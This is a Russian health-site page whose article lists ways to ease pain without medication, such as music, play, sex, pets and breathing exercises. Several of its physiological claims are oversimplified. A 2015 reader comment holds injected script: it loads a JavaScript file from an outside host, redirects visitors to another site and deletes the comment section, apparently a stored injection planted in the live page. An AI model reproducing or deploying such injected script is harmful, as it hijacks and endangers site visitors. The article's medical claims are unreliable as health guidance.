Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как избавиться от боли бе...  >>  Как избавиться от боли без лекарств
 
Обратная связь
 

Как избавиться от боли без лекарств

Размер шрифта
27 марта 2013 00:00
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Мы привыкли при малейшей боли пить таблетки. Но существуют и другие способы избавиться от неприятных ощущений.

как избавиться от боли без декарств

1.    Слушать музыку – нервные пути, отвечающие за восприятие боли, также реагируют на музыку. Стоит нам послушать хорошую музыку хотя бы 10-15 минут, боль стихнет. Мы просто отвлечем наши нервные волокна, и болевой сигнал не успеет дойти до спинного мозга. 

2.    Играя, мы меньше боимся боли. Учеными отмечено, что во время игры начинают выделяться эндорфины – молекулы счастья, которые обладают хорошим анальгезирующим эффектом.

3.    Во время секса активно выделяется окситоцин и уже известные нам эндорфины, действующие как обезболивающее. Также вырабатывается гормон кортизол: он уменьшает воспаление, которое является причиной боли. По данным МРТ было выявлено, что на боль и оргазм мозг реагирует одинаково. Делайте выводы!

4.    Общение с животными хотя бы 10-15 минут также снимает боль. Собаки заставляют нас больше двигаться, включаются механизмы защиты, и организм уже не реагирует на боль.

5.    Самовнушение – иногда нам хочется поболеть. Попробуйте настроить свои мысли на положительные эмоции, и вам сразу станет легче.

6.    Дыхательная гимнастика – сделайте глубокий вдох, затем глубокий выдох. Повторите дыхательные упражнения 8-10 раз. 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:22

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
7 сигналов, которые нельзя игнорировать   Хотите не чувствовать боли – спите дольше   Голые крысы спасут людей от боли   Самые страшные боли на свете  
29 октября 2012Голые крысы спасут людей от боли 30 января 2013Хотите не чувствовать боли – спите дольше
 
21 ноября 2012Змеиный яд обезболивает как морфин 01 мая 2013Что удобнее: рюкзак или портфель? Неважно! Тяжелый рюкзак разрушает нервы и мышцы!
 

Слайдшоу

1
5 упражнений против боли
4 боли, которые нельзя игнорировать
Боль в пояснице: можно ли без лекарств?!

Тесты

1
Рискуете ли вы заболеть остеохондрозом?
Какой матрас вам подходит?
Грипп или простуда?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.